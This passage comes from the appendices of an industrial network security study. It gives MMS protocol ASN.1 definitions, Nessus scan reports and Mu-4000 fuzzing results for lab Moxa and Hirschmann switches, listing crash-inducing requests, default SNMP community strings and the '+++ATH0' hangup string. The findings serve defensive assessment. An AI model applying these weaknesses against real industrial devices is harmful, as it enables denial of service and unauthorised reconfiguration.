confirmed-ErrorPDU
unconfirmed-PDU
rejectPDU
cancel-RequestPDU
cancel-ResponsePDU
cancel-ErrorPDU
initiate-RequestPDU
initiate-ResponsePDU
initiate-ErrorPDU
conclude-RequestPDU
conclude-ResponsePDU
conclude-ErrorPDU
}
[0]
[1]
[2]
[3]
[4]
[5]
[6]
[7]
[8]
[9]
[10]
[11]
[12]
[13]
IMPLICIT
IMPLICIT
IMPLICIT
IMPLICIT
IMPLICIT
IMPLICIT
IMPLICIT
IMPLICIT
IMPLICIT
IMPLICIT
IMPLICIT
IMPLICIT
IMPLICIT
IMPLICIT
Confirmed-RequestPDU,
Confirmed-ResponsePDU,
Confirmed-ErrorPDU,
Unconfirmed-PDU,
RejectPDU,
Cancel-RequestPDU,
Cancel-ResponsePDU,
Cancel-ErrorPDU,
Initiate-RequestPDU,
Initiate-ResponsePDU,
Initiate-ErrorPDU,
Conclude-RequestPDU,
Conclude-ResponsePDU,
Conclude-ErrorPDU
160
A.2.2
APPENDIX A. MMS
The ConfirmedServiceRequest Module
ConfirmedServiceRequest ::= CHOICE
{
status
[0]
getNameList
[1]
identify
[2]
rename
[3]
read
[4]
write
[5]
getVariableAccessAttributes
[6]
defineNamedVariable
[7]
defineScatteredAccess
[8]
getScatteredAccessAttributes
[9]
deleteVariableAccess
[10]
defineNamedVariableList
[11]
getNamedVariableListAttributes
[12]
deleteNamedVariableList
[13]
defineNamedType
getNamedTypeAttributes
[14]
[15]
deleteNamedType
input
output
takeControl
relinquishControl
defineSemaphore
deleteSemaphore
reportSemaphoreStatus
reportPoolSemaphoreStatus
[16]
[17]
[18]
[19]
[20]
[21]
[22]
[23]
[24]
reportSemaphoreEntryStatus
[25]
initiateDownloadSequence
[26]
downloadSegment
terminateDownloadSequence
[27]
[28]
IMPLICIT Status-Request,
IMPLICIT GetNameList-Request,
IMPLICIT Identify-Request,
IMPLICIT Rename-Request,
IMPLICIT Read-Request,
IMPLICIT Write-Request,
GetVariableAccessAttributes-Request,
IMPLICIT DefineNamedVariable-Request,
IMPLICIT DefineScatteredAccess
-Request,
IMPLICIT GetScatteredAccessAttributes
-Request,
IMPLICIT DeleteVariableAccess
-Request,
IMPLICIT DefineNamedVariableList
-Request,
IMPLICIT GetNamedVariableListAttributes
-Request,
IMPLICIT DeleteNamedVariableList
-Request,
IMPLICIT DefineNamedType-Request,
IMPLICIT GetNamedTypeAttributes
-Request,
IMPLICIT DeleteNamedType-Request,
IMPLICIT Input-Request,
IMPLICIT Output-Request,
IMPLICIT TakeControl-Request,
IMPLICIT RelinquishControl-Request,
IMPLICIT DefineSemaphore-Request,
IMPLICIT DeleteSemaphore-Request,
IMPLICIT ReportSemaphoreStatus-Request,
IMPLICIT ReportPoolSemaphoreStatus
-Request,
IMPLICIT ReportSemaphoreEntryStatus
-Request,
IMPLICIT InitiateDownloadSequence
-Request,
IMPLICIT DownloadSegment-Request,
IMPLICIT TerminateDownloadSequence
A.2. ASN.1 MMS
161
initiateUploadSequence
[29]
uploadSegment
terminateUploadSequence
[30]
[31]
requestDomainDownload
requestDomainUpload
loadDomainContent
storeDomainContent
deleteDomain
getDomainAttributes
createProgramInvocation
[32]
[33]
[34]
[35]
[36]
[37]
[38]
deleteProgramInvocation
[39]
start
stop
resume
reset
kill
getProgramInvocationAttributes
[40]
[41]
[42]
[43]
[44]
[45]
obtainFile
defineEventCondition
deleteEventCondition
getEventConditionAttributes
reportEventConditionStatus
alterEventConditionMonitoring
[46]
[47]
[48]
[49]
[50]
[51]
triggerEvent
defineEventAction
deleteEventAction
getEventActionAttributes
reportEventActionStatus
defineEventEnrollment
deleteEventEnrollment
alterEventEnrollment
reportEventEnrollmentStatus
getEventEnrollmentAttributes
[52]
[53]
[54]
[55]
[56]
[57]
[58]
[59]
[60]
[61]
acknowledgeEventNotification
[62]
-Request,
IMPLICIT InitiateUploadSequence
-Request,
IMPLICIT UploadSegment-Request,
IMPLICIT TerminateUploadSequence
-Request,
IMPLICIT RequestDomainDownload-Request,
IMPLICIT RequestDomainUpload-Request,
IMPLICIT LoadDomainContent-Request,
IMPLICIT StoreDomainContent-Request,
IMPLICIT DeleteDomain-Request,
IMPLICIT GetDomainAttributes-Request,
IMPLICIT CreateProgramInvocation
-Request,
IMPLICIT DeleteProgramInvocation
-Request,
IMPLICIT Start-Request,
IMPLICIT Stop-Request,
IMPLICIT Resume-Request,
IMPLICIT Reset-Request,
IMPLICIT Kill-Request,
IMPLICIT GetProgramInvocationAttributes
-Request,
IMPLICIT ObtainFile-Request,
IMPLICIT DefineEventCondition-Request,
DeleteEventCondition-Request,
GetEventConditionAttributes-Request,
ReportEventConditionStatus-Request,
IMPLICIT AlterEventConditionMonitoring
-Request,
IMPLICIT TriggerEvent-Request,
IMPLICIT DefineEventAction-Request,
DeleteEventAction-Request,
GetEventActionAttributes-Request,
ReportEventActionStatus-Request,
IMPLICIT DefineEventEnrollment-Request,
DeleteEventEnrollment-Request,
IMPLICIT AlterEventEnrollment-Request,
ReportEventEnrollmentStatus-Request,
IMPLICIT GetEventEnrollmentAttributes
-Request,
IMPLICIT AcknowledgeEventNotification
-Request,
162
APPENDIX A. MMS
getAlarmSummary
getAlarmEnrollmentSummary
[63]
[64]
readJournal
writeJournal
initializeJournal
reportJournalStatus
createJournal
deleteJournal
getCapabilityList
fileOpen
fileRead
fileClose
fileRename
fileDelete
fileDirectory
additionalService
}
[65]
[66]
[67]
[68]
[69]
[70]
[71]
[72]
[73]
[74]
[75]
[76]
[77]
[78]
A.2.3
IMPLICIT GetAlarmSummary-Request,
IMPLICIT GetAlarmEnrollmentSummary
-Request,
IMPLICIT ReadJournal-Request,
IMPLICIT WriteJournal-Request,
IMPLICIT InitializeJournal-Request,
IMPLICIT ReportJournalStatus-Request,
IMPLICIT CreateJournal-Request,
IMPLICIT DeleteJournal-Request,
IMPLICIT GetCapabilityList-Request,
IMPLICIT FileOpen-Request,
IMPLICIT FileRead-Request,
IMPLICIT FileClose-Request,
IMPLICIT FileRename-Request,
IMPLICIT FileDelete-Request,
IMPLICIT FileDirectory-Request,
AdditionalService-Request
The MMS Data Module
Data ::= CHOICE
{
-- context tag 0 is reserved for AccessResult
array
structure
boolean
bit-string
integer
unsigned
floating-point
real
octet-string
visible-string
binary-time
bcd
booleanArray
}
[5]
[1]
IMPLICIT SEQUENCE OF Data,
[2]
IMPLICIT SEQUENCE OF Data,
[3]
IMPLICIT BOOLEAN,
[4]
IMPLICIT BIT STRING,
IMPLICIT INTEGER,
[6]
IMPLICIT INTEGER,
[7]
IMPLICIT FloatingPoint,
[8]
IMPLICIT REAL,
[9]
IMPLICIT OCTET STRING,
[10]
IMPLICIT VisibleString,
[12]
IMPLICIT TimeOfDay,
[13]
IMPLICIT INTEGER,
[14]
IMPLICIT BIT STRING
A.2. ASN.1 MMS
A.2.4
163
The MMS DataAccessError Module
DataAccessError ::= INTEGER
{
object-invalidated
hardware-fault
temporarly-unavailable
object-access-denied
object-undefined
invalid-address
type-unsupported
type-inconsistent
object-attribute-inconsistent
object-access-unsupported
object-non-existent
}
(0),
(1),
(2),
(3),
(4),
(5),
(6),
(7),
(8),
(9),
(10)
164
A.3
APPENDIX A. MMS
The MMS initiate-Request/Response PDU
MMS
initiate-ResponsePDU
localDetailCalling: 8187
proposedMaxServOutstandingCalling: 3
proposedMaxServOutstandingCalled: 3
proposedDataStructureNestingLevel: 127
mmsInitRequestDetail
proposedVersionNumber: 1
Padding: 5
1... .... = str1: True
.1.. .... = str2: True
..1. .... = vnam: True
...0 .... = valt: False
.... 1... = vadr: True
.... .0.. = vsca: False
.... ..0. = tpy: False
.... ...0 = vlid: False
0... .... = real: False
..0. .... = cei: False
Padding: 3
servicesSupportedCalling: EC00183f0ff41003010090
1... .... = status: True
.1.. .... = getNameList: True
..1. .... = identify: True
...0 .... = rename: False
.... 1... = read: True
.... .1.. = write: True
.... ..0. = getVariableAccessAttributes: False
.... ...0 = defineNamedVariable: False
0... .... = defineScatteredAccess: False
.0.. .... = getScatteredAccessAttributes: False
..0. .... = deleteVariableAccess: False
...0 .... = defineNamedVariableList: False
.... 0... = getNamedVariableListAttributes: False
.... .0.. = deleteNamedVariableList: False
.... ..0. = defineNamedType: False
.... ...0 = getNamedTypeAttributes:False
0... .... = deleteNamedType: False
.0.. .... = input: False
..0. .... = output: False
...1 .... = takeControl: True
A.3. THE MMS INITIATE-REQUEST/RESPONSE PDU
....
....
....
....
0...
.0..
..1.
...1
....
....
....
....
0...
.0..
..0.
...0
....
....
....
....
1...
.1..
..1.
...1
....
....
....
....
0...
.0..
..0.
...1
....
....
....
....
0...
.0..
..0.
...0
....
....
....
1...
.0..
..0.
...0
....
....
....
....
1...
.1..
..1.
...1
....
....
....
....
1...
.1..
..1.
...1
....
....
....
....
0...
.1..
..1.
...0
....
....
....
....
0...
.0..
..0.
...0
....
....
....
....
0...
.0..
..1.
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
relinquishControl: True
defineSemaphore: False
deleteSemaphore: False
reportSemaphoreStatus: False
reportPoolSemaphoreStatus: False
reportSemaphoreEntryStatus: False
initiateDownloadSequence: True
downloadSegment: True
terminateDownloadSequence: True
initiateUploadSequence: True
uploadSegment: True
terminateUploadSequence: True
requestDomainDownload: False
requestDomainUpload: False
loadDomainContent: False
storeDomainContent: False
deleteDomain: True
getDomainAttributes: True
createProgramInvocation: True
deleteProgramInvocation: True
start: True
stop: True
resume: True
reset: True
kill: False
getDomainAttributes: True
obtainFile: True
defineEventCondition: False
deleteEventCondition: False
getEventConditionAttributes: False
reportEventConditionStatus: False
alterEventConditionMonitoring: True
triggerEvent: False
defineEventAction: False
deleteEventAction: False
getEventActionAttributes: False
reportActionStatus: False
defineEventEnrollment: False
deleteEventEnrollment: False
alterEventEnrollment: False
reportEventEnrollmentStatus: False
getEventEnrollmentAttributes: False
acknowledgeEventNotification: True
165
166
APPENDIX A. MMS
....
0...
.0..
..0.
...0
....
....
....
....
1...
.1..
..1.
...1
....
....
....
....
1...
.0..
..0.
...1
....
...1
....
....
....
....
0...
.0..
..0.
...1
....
....
....
....
1...
.0..
..0.
...0
....
....
....
....
0...
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
getAlarmSummary: True
getAlarmEnrollmentSummary: False
readJournal: False
writeJournal: False
initializeJournal: False
reportJournalStatus: False
createJournal: False
deleteJournal: False
getCapabilityList: True
fileOpen: True
fileRead: True
fileClose: True
fileRename: True
fileDelete: True
fileDirectory: False
unsolicitedStatus: False
informationReport: False
eventNotification: False
attachToEventCondition: False
attachToSemaphore: False
conclude: False
cancel: False
Appendix B
Nessus Report on 193.75.73.3,
Moxa Switch
B.1
Open ports (TCP and UDP)
193.75.73.3 has the following ports that are open :
• general/tcp
• https (443/tcp)
• telnet (23/tcp)
• www (80/tcp)
• snmp (161/udp)
• general/udp
• general/icmp
You should disable the services that you do not use, as they are potential security flaws.
B.2
B.2.1
Details of the Vulnerabilities
Problems Regarding : General/TCP
Security warnings :
• Your machine answers to TCP packets that are coming from a multicast
address. This is known as the ’spank’ denial of service attack.
167
168
APPENDIX B. NESSUS REPORT ON 193.75.73.3, MOXA SWITCH
An attacker might use this flaw to shut down this server and
saturate your network, thus preventing you from working properly.
This also could be used to run stealth scans against your machine.
Solution : contact your operating system vendor for a patch.
Filter out multicast addresses (224.0.0.0/4)
Risk factor : Medium
Security note :
• HTTP NIDS evasion functions are enabled.
You may get some false negative results
• The following IP protocols are accepted on this host:
1 ICMP
2 IGMP
6 TCP
17 UDP
• Information about this scan :
Nessus version : 2.2.6 (Nessus 2.2.9 is available - consider
upgrading)
Plugin feed version : 200703130909
Type of plugin feed : Registered (7 days delay)
Scanner IP : 193.75.73.2
Port range : 1-15000
Thorough tests : yes
Experimental tests : yes
Paranoia level : 1
Report Verbosity : 1
Safe checks : no
Max hosts : 20
Max checks : 4
Scan duration : unknown (ping_host.nasl not launched?)
• The following ports were open at the beginning of the scan but are now
closed:
Port 443 was detected as being open but is now closed
B.2. DETAILS OF THE VULNERABILITIES
169
Port 23 was detected as being open but is now closed
Port 80 was detected as being open but is now closed
This might be an availability problem related which might be due to
the following reasons :
- The remote host is now down, either because a user turned it off
during the scan
- A selected denial of service was effective against this host
- A network outage has been experienced during the scan, and the
remote network cannot be reached from the Vulnerability Scanner any more
- This Vulnerability Scanner has been blacklisted by the system
administrator or by automatic intrusion detection/prevention systems which have
detected the vulnerability assessment.
In any case, the audit of the remote host might be incomplete and may
need to be done again.
B.2.2
Problems Regarding : HTTPS (443/TCP)
Security warnings :
• Your web server seems to accept unlimited requests.
It may be vulnerable to the ’WWW infinite request’ attack, which
allows a cracker to consume all available memory on your system.
*** Note that Nessus was unable to crash the web server
*** so this might be a false alert.
Solution : upgrade your software or protect it with a filtering
reverse proxy
Risk factor : Medium
BID : 2465
Security note :
• A web server is running on this port
• This web server is [mis]configured in that it does not return ’404 Not
Found’
error codes when a non-existent file is requested, perhaps returning
170
APPENDIX B. NESSUS REPORT ON 193.75.73.3, MOXA SWITCH
a site map, search page or authentication page instead.
CGI scanning will be disabled for this host.
To work around this issue, please contact the Nessus team.
• The remote web server type is :
GoAhead-Webs
B.2.3
Problems Regarding : Telnet (23/TCP)
Security warnings :
• Synopsis :
A telnet server is listening on the remote port
Description :
The remote host is running a telnet server.
Using telnet is not recommended as logins, passwords and commands
are transferred in clear text.
An attacker may eavesdrop on a telnet session and obtain the
credentials of other users.
Solution :
Disable this service and use SSH instead
Risk factor :
Medium / CVSS Base Score : 4
(AV:R/AC:L/Au:NR/C:P/A:N/I:N/B:C)
Plugin output:
Remote telnet banner:
[0m [2J
B.2. DETAILS OF THE VULNERABILITIES
MOXA EtherDevice Switch EDS-508
Console terminal type (1: ansi/vt100, 2: vt52) : 1
• Synopsis :
A telnet server is listening on the remote port
Description :
The remote host is running a telnet server.
Using telnet is not recommended as logins, passwords and commands
are transferred in clear text.
An attacker may eavesdrop on a telnet session and obtain the
credentials of other users.
Solution :
Disable this service and use SSH instead
Risk factor :
Medium / CVSS Base Score : 4
(AV:R/AC:L/Au:NR/C:P/A:N/I:N/B:C)
Plugin output:
Remote telnet banner:
Security note :
• A TELNET server is running on this port
B.2.4
Problems Regarding : www (80/TCP)
Security holes :
• It was possible to kill the web server by
sending an invalid ’infinite’ HTTP request that never ends.
A cracker may exploit this vulnerability to make your web server
171
172
APPENDIX B. NESSUS REPORT ON 193.75.73.3, MOXA SWITCH
crash continually or even execute arbirtray code on your system.
Solution : upgrade your software or protect it with a filtering
reverse proxy
Risk factor : High
BID : 2465
• We could crash the web server by sending an invalid POST
HTTP request with a negative Content-Length field.
A cracker may exploit this flaw to disable your service or
even execute arbitrary code on your system.
Risk factor : High
Solution : Upgrade your web server
Security note :
• A web server is running on this port
• Nessus was not able to reliably identify this server. It might be:
GoAhead-Webs [version 2.1.8]
McAfee-Agent-HttpSvr/1.0
The fingerprint differs from these known signatures on 2 point(s)
• The remote web server type is :
GoAhead-Webs
B.2.5
Problems Regarding : SNMP (161/UDP)
Security holes :
• Synopsis :
The community name of the remote SNMP server can be guessed.
Description :
It is possible to obtain the default community names of the remote
SNMP server.
B.2. DETAILS OF THE VULNERABILITIES
173
An attacker may use this information to gain more knowledge about
the remote host, or to change the configuration of the remote
system (if the default community allow such modifications).
Solution :
Disable the SNMP service on the remote host if you do not use it,
filter incoming UDP packets going to this port, or change the
default community string.
Risk factor :
High
Plugin output :
The remote SNMP server replies to the following default community
strings :
private
public
CVE : CVE-1999-0517, CVE-1999-0186, CVE-1999-0254, CVE-1999-0516
BID : 11237, 10576, 177, 2112, 6825, 7081, 7212, 7317, 9681, 986
Other references : IAVA:2001-B-0001
Security note :
• Synopsis :
The System Information of the remote host can be obtained via SNMP.
Description :
It is possible to obtain the system information about the remote
host by sending SNMP requests with the OID 1.3.6.1.2.1.1.1.
An attacker may use this information to gain more knowledge about
the target host.
Solution :
174
APPENDIX B. NESSUS REPORT ON 193.75.73.3, MOXA SWITCH
Disable the SNMP service on the remote host if you do not use it,
or filter incoming UDP packets going to this port.
Risk factor :
Low
Plugin output :
System information :
sysDescr
: Moxa EDS-508
sysObjectID : 1.3.6.1.4.1.8691.7.1
sysUptime
: 0d 1h 3m 33s
sysContact
: [email protected]
sysName
: M-01
sysLocation : NOCRC Ethernet Lab
sysServices : 2
B.2.6
Problems Regarding : General/UDP
Security note :
• For your information, here is the traceroute from 193.75.73.2 to 193.75.73.3 :
193.75.73.2
193.75.73.3
B.2.7
Problems Regarding : General/ICMP
Security note :
• Here is the route recorded between 193.75.73.2 and 193.75.73.3 :
193.75.73.3.
B.3
Mu 4000 Summary Report
Analysis Detail
Overview
Name
1.
Target
Moxa EDS-508 2007-02- EDS-508/Unknown-Unknown
05
Moxa UDP 2007-02-08
EDS-508/Unknown-Unknown
2.
Attack Vector Set
Status
Start Date
End Date
AVS 31
finished
2/5/07 9:00 AM
2/6/07 10:10 AM
AVS 32
finished
2/8/07 9:59 AM
2/8/07 10:58 AM
1. Moxa EDS-508 2007-02-05
Details
Name
Moxa EDS-508 2007-02-05
Platform
Moxa-EDS-508
Start Date
2/5/07 9:00 AM
Status
finished
Product
Unknown-Unknown
End Date
2/6/07 10:10 AM
Target Setup
Testbed
Endpoint
Mu-4000
Target
Interface
IP
Interface
IP
CIDR
A1
193.75.73.1
inbound
193.75.73.3
24
Monitor
Not selected using no channel
Restarter
Internal Restarter (Power A)
Analysis Detail
Page 2
For Target Moxa-EDS-508-Unknown-Unknown
Attack Vector Set
Name
Option
Value
ARP (All Suites)
ARP Messages (All Variants)
Delay
Timeout
0
250
CDP (All Suites)
CDP Address List (All Variants)
CDP Device ID (All Variants)
CDP Platform (All Variants)
CDP Device ID
CDP Platform
Inter-Vector Delay
Timeout
31337
31337
0
250
ICMPv4 ICMP (All Suites)
ICMPv4 Echo Requests (All Variants)
ICMPv4 Echo Requests, Fragmented (All Variants)
ICMPv4 Timestamp Requests (All Variants)
Delay
Timeout
IP Version
Diff-Serv Code Point Value
0
250
v4
0
IPv4 (All Suites)
IPv4 Fragmented Datagrams (All Variants)
Delay
Timeout
IP Version
0
250
v4
OSPF (All Suites)
OSPF Messages (All Variants)
Delay
Timeout
IP Version
OSPF Area ID
OSPF Netmask
0
250
v4
0.0.0.0
255.255.255.0
PIM SM/DM (All Suites)
PIM Assert Messages (All Variants)
PIM Bootstrap Router Messages (BSMs) (All Variants)
PIM Candidate RP Advertisements (All Variants)
PIM Graft Messages (All Variants)
PIM Hello Messages (All Variants)
PIM Join and Prune Messages (All Variants)
Inter-Vector Delay
PIM Multicast Destination IP
PIM Multicast Group IP
Timeout
0
224.0.0.13
224.0.0.1
250
Analysis Detail
Page 3
For Target Moxa-EDS-508-Unknown-Unknown
Attack Vector Set
Name
PIM Messages (All Variants)
PIM State Refresh Messages (All Variants)
SNMP (4/7 Suites)
SNMP Discovery Messages (v3) (All Variants)
SNMP Get Bulk Messages (v2c) (All Variants)
SNMP Get Messages (v1) (All Variants)
SNMP Get Next Messages (v1) (All Variants)
TCP (All Suites)
TCP IPv4 Datagrams (All Variants)
Option
Value
Inter-Vector Delay
PIM Multicast Destination IP
PIM Multicast Group IP
Timeout
0
224.0.0.13
224.0.0.1
250
MD5 Password
Adaptive Authentication
SHA-1 Password
Authentication Username
Delay
Timeout
IP Version
Layer-4 Destination Port
Adaptive Transport
Layer-4 Source Port
SNMP Community Name
Object Identifier
SMI Data Type
Object Identifier Value
secret
none
secret
username
0
250
v4
161
udp
Delay
Timeout
IP Version
Diff-Serv Code Point Value
Layer-4 Destination Port
Layer-4 Source Port
0
250
v4
0
80
0
public
1.3.6.1.2.1.1.5.0
str
musec
Faults
Fault
Analysis Detail
Range
Detection
Isolation
Time
Page 4
For Target Moxa-EDS-508-Unknown-Unknown
Faults
Fault
Range
Detection
Isolation
Time
1.
SNMP Get Bulk Messages (v2c) - pdu.sequence.get-bulk.values1
12
Instrumentation
Vector
2/6/07 5:43:52 AM
2.
SNMP Get Bulk Messages (v2c) - pdu.sequence.get-bulk.values1
7
Instrumentation
Vector
2/6/07 5:41:05 AM
3.
SNMP Get Bulk Messages (v2c) - pdu.sequence.get-bulk.values1
2
Instrumentation
Vector
2/6/07 5:38:18 AM
4.
SNMP Get Bulk Messages (v2c) - pdu.sequence.get-bulk.requestid.length.overlong
336-343
Instrumentation
Variant
2/6/07 5:35:24 AM
5.
SNMP Get Bulk Messages (v2c) - pdu.sequence.get-bulk.requestid.length.overlong
195-202
Instrumentation
Vector Range
2/6/07 5:33:49 AM
6.
SNMP Get Bulk Messages (v2c) - pdu.sequence.get-bulk.requestid.length.overlong
34-41
Instrumentation
Variant
2/6/07 5:31:03 AM
7.
SNMP Get Bulk Messages (v2c) - pdu.sequence.get-bulk.nonrepeaters.values
66-70
Instrumentation
Variant
2/6/07 5:29:09 AM
8.
SNMP Get Bulk Messages (v2c) - pdu.sequence.get-bulk.nonrepeaters.values
57-65
Instrumentation
Vector Range
2/6/07 5:28:15 AM
9.
SNMP Get Bulk Messages (v2c) - pdu.sequence.get-bulk.nonrepeaters.values
48-56
Instrumentation
Variant
2/6/07 5:26:15 AM
10.
SNMP Get Bulk Messages (v2c) - pdu.sequence.get-bulk.maxrepetitions.values
152
Instrumentation
Vector
2/6/07 5:24:36 AM
11.
SNMP Get Bulk Messages (v2c) - pdu.sequence.get-bulk.values2
76
Instrumentation
Variant
2/6/07 5:50:25 AM
12.
SNMP Get Bulk Messages (v2c) - pdu.sequence.get-bulk.values2
75
Instrumentation
Vector
2/6/07 5:49:31 AM
13.
SNMP Get Bulk Messages (v2c) - pdu.sequence.get-bulk.values2
73
Instrumentation
Vector
2/6/07 5:46:47 AM
2. Moxa UDP 2007-02-08
Details
Name
Moxa UDP 2007-02-08
Platform
Moxa-EDS-508
Start Date
2/8/07 9:59 AM
Status
finished
Product
Unknown-Unknown
End Date
2/8/07 10:58 AM
Analysis Detail
Page 5
For Target Moxa-EDS-508-Unknown-Unknown
Target Setup
Testbed
Endpoint
Mu-4000
Target
Interface
IP
Interface
IP
CIDR
A1
193.75.73.1
inbound
193.75.73.3
24
Monitor
Not selected using no channel
Restarter
Not selected
Attack Vector Set
Name
Option
Value
UDP (All Suites)
UDP IPv4 Datagrams (All Variants)
Delay
Timeout
IP Version
Diff-Serv Code Point Value
Layer-4 Destination Port
Layer-4 Source Port
0
250
v4
0
53
12345
Faults
1.
Fault
Range
Detection
Isolation
Time
UDP IPv4 Datagrams - ipv4.options.timestamp.overflow-flag.8-bit-length
3
Instrumentation
Vector
2/8/07 10:40:23 AM
Analysis Detail
Page 6
For Target Moxa-EDS-508-Unknown-Unknown
Faults
Fault
Range
Detection
Isolation
Time
2.
UDP IPv4 Datagrams - ipv4.options.timestamp.overflow-flag.8-bit-length
2
Instrumentation
Vector
2/8/07 10:37:36 AM
3.
UDP IPv4 Datagrams - ipv4.options.timestamp.overflow-flag.8-bit-length
0
Instrumentation
Vector
2/8/07 10:34:49 AM
4.
UDP IPv4 Datagrams - ipv4.options.timestamp.misaligned
2
Instrumentation
Vector
2/8/07 10:32:03 AM
5.
UDP IPv4 Datagrams - ipv4.options.timestamp.valid
0
Instrumentation
Vector
2/8/07 10:54:45 AM
6.
UDP IPv4 Datagrams - ipv4.options.timestamp.route.repeated
2
Instrumentation
Vector
2/8/07 10:51:57 AM
7.
UDP IPv4 Datagrams - ipv4.options.timestamp.misaligned
1
Instrumentation
Vector
2/8/07 10:29:16 AM
8.
UDP IPv4 Datagrams - ipv4.options.timestamp.route.repeated
1
Instrumentation
Vector
2/8/07 10:49:10 AM
9.
UDP IPv4 Datagrams - ipv4.options.timestamp.misaligned
0
Instrumentation
Vector
2/8/07 10:26:29 AM
10.
UDP IPv4 Datagrams - ipv4.options.timestamp.length.all
12
Instrumentation
Vector
2/8/07 10:23:09 AM
11.
UDP IPv4 Datagrams - ipv4.options.timestamp.route.repeated
0
Instrumentation
Vector
2/8/07 10:46:23 AM
12.
UDP IPv4 Datagrams - ipv4.options.timestamp.overflow-flag.8-bit-length
7
Instrumentation
Vector
2/8/07 10:43:15 AM
13.
UDP IPv4 Datagrams - ipv4.options.timestamp.ip.invalid
2
Instrumentation
Vector
2/8/07 10:20:03 AM
14.
UDP IPv4 Datagrams - ipv4.options.timestamp.ip.invalid
1
Instrumentation
Vector
2/8/07 10:17:16 AM
15.
UDP IPv4 Datagrams - ipv4.options.timestamp.ip.invalid
0
Instrumentation
Vector
2/8/07 10:14:30 AM
Appendix C
Nessus Report on 193.75.73.8,
Hirschmann Switch
C.1
Open Ports (TCP and UDP)
193.75.73.8 has the following ports that are open :
• general/tcp
• www (80/tcp)
• snmp (161/udp)
• ntp (123/udp)
• general/icmp
• general/udp
You should disable the services that you do not use, as they are potential security flaws.
C.2
C.2.1
Details of the Vulnerabilities
Problems Regarding : General/TCP
Security holes :
• It was possible to disconnect the remote
host by sending it an ICMP echo request packet
containing the string ’+ + + ATH0’ (without the spaces).
178
C.2. DETAILS OF THE VULNERABILITIES
179
It is also possible to make the remote modem
hangup and dial any phone number.
Solution : add ’ATS2=255’ in your modem
init string.
Risk factor : High
CVE : CVE-1999-1228
Security note :
•
HTTP NIDS evasion functions are enabled.
You may get some false negative results
Problems regarding : www (80/tcp)
Security note :
•
A web server is running on this port
Problems Regarding : SNMP (161/UDP)
Security holes :
• Synopsis :
The community name of the remote SNMP server can be guessed.
Description :
It is possible to obtain the default community names of the remote
SNMP server.
An attacker may use this information to gain more knowledge about
the remote host, or to change the configuration of the remote
system (if the default community allow such modifications).
180
APPENDIX C. NESSUS REPORT ON 193.75.73.8, HIRSCHMANN SWITCH
Solution :
Disable the SNMP service on the remote host if you do not use it,
filter incoming UDP packets going to this port, or change the
default community string.
Risk factor :
High
Plugin output :
The remote SNMP server replies to the following default community
strings :
private
public
CVE : CVE-1999-0517, CVE-1999-0186, CVE-1999-0254, CVE-1999-0516
BID : 11237, 10576, 177, 2112, 6825, 7081, 7212, 7317, 9681, 986
Other references : IAVA:2001-B-0001
Security note :
• Synopsis :
The System Information of the remote host can be obtained via SNMP.
Description :
It is possible to obtain the system information about the remote
host by sending SNMP requests with the OID 1.3.6.1.2.1.1.1.
An attacker may use this information to gain more knowledge about
the target host.
Solution :
Disable the SNMP service on the remote host if you do not use it,
C.2. DETAILS OF THE VULNERABILITIES
181
or filter incoming UDP packets going to this port.
Risk factor :
Low
Plugin output :
System information :
sysDescr
sysObjectID
sysUptime
sysContact
sysName
sysLocation
sysServices
C.2.2
:
:
:
:
:
:
:
Hirschmann Modular Industrial Communication Equipment
1.3.6.1.4.1.248.14.10.4
4d 21h 55m 6s
Hirschmann Electronics GmbH & Co. KG
Hirschmann MICE
Hirschmann MICE
2
Problems Regarding : NTP (123/UDP)
Security note :
• An NTP (Network Time Protocol) server is listening on this port.
Risk factor : Low
C.2.3
Problems Regarding : General/ICMP
Security note :
• Synopsis :
It is possible to determine the exact time set on the remote host.
Description :
The remote host answers to an ICMP timestamp request. This allows an
attacker
182
APPENDIX C. NESSUS REPORT ON 193.75.73.8, HIRSCHMANN SWITCH
to know the date which is set on your machine.
This may help him to defeat all your time based authentication
protocols.
Solution : filter out the ICMP timestamp requests (13), and the
outgoing ICMP
timestamp replies (14).
Risk factor :
None / CVSS Base Score : 0
(AV:R/AC:L/Au:NR/C:N/A:N/I:N/B:N)
Plugin output :
This host returns non-standard timestamps (high bit is set)
The ICMP timestamps might be in little endian format (not in network
format)
The difference between the local and remote clocks is -24145 seconds
CVE : CVE-1999-0524
• Here is the route recorded between 193.75.73.2 and 193.75.73.8 :
193.75.73.8.
C.2.4
Problems Regarding : General/UDP
Security note :
• For your information, here is the traceroute from 193.75.73.2 to 193.75.73.8 :
193.75.73.2
193.75.73.8
C.3
Mu 4000 Summary Report
Analysis Detail
Overview
Attack Vector Set
Status
Start Date
End Date
1.
Name
Hirschmann IP (0 ms
Mice/MS2108-2-Unknown
delay, 100 ms timout) (2)
AVS 42
finished
5/3/07 9:24 AM
5/3/07 9:24 AM
2.
Hirschmann IP (0 ms
delay, 20 ms timout) (3)
Mice/MS2108-2-Unknown
AVS 42
finished
5/3/07 9:25 AM
5/3/07 9:25 AM
3.
Hirschmann IP (0 ms
Mice/MS2108-2-Unknown
delay, 500 ms timout)
Hirschmann SNMP (0 ms Mice/MS2108-2-Unknown
delay, 500 ms timout)
AVS 42
finished
5/3/07 9:23 AM
5/3/07 9:23 AM
AVS 43
failed
5/3/07 9:27 AM
5/3/07 9:27 AM
Hirschmann SNMP (200
ms delay, 2000 ms
timout)
AVS 43
finished
5/3/07 11:42 AM
5/4/07 10:22 AM
4.
5.
Target
Mice/MS2108-2-Unknown
1. Hirschmann IP (0 ms delay, 100 ms timout) (2)
Details
Name
Hirschmann IP (0 ms delay, 100 ms
Platform
Hirschmann-Mice
Start Date
5/3/07 9:24 AM
Status
finished
Product
MS2108-2-Unknown
End Date
5/3/07 9:24 AM
Target Setup
Analysis Detail
Page 2
For Target Hirschmann-Mice-MS2108-2-Unknown
Target Setup
Testbed
Endpoint
Mu-4000
Target
Interface
IP
Interface
IP
CIDR
A2
193.75.73.1
inbound
193.75.73.8
26
Monitor
Not selected using no channel
Restarter
Internal Restarter (Power A)
Attack Vector Set
Name
Option
Value
IPv4 (All Suites)
IPv4 Fragmented Datagrams (All Variants)
Delay
Timeout
IP Version
0
100
v4
Analysis Detail
Page 3
For Target Hirschmann-Mice-MS2108-2-Unknown
2. Hirschmann IP (0 ms delay, 20 ms timout) (3)
Details
Name
Hirschmann IP (0 ms delay, 20 ms
Platform
Hirschmann-Mice
Start Date
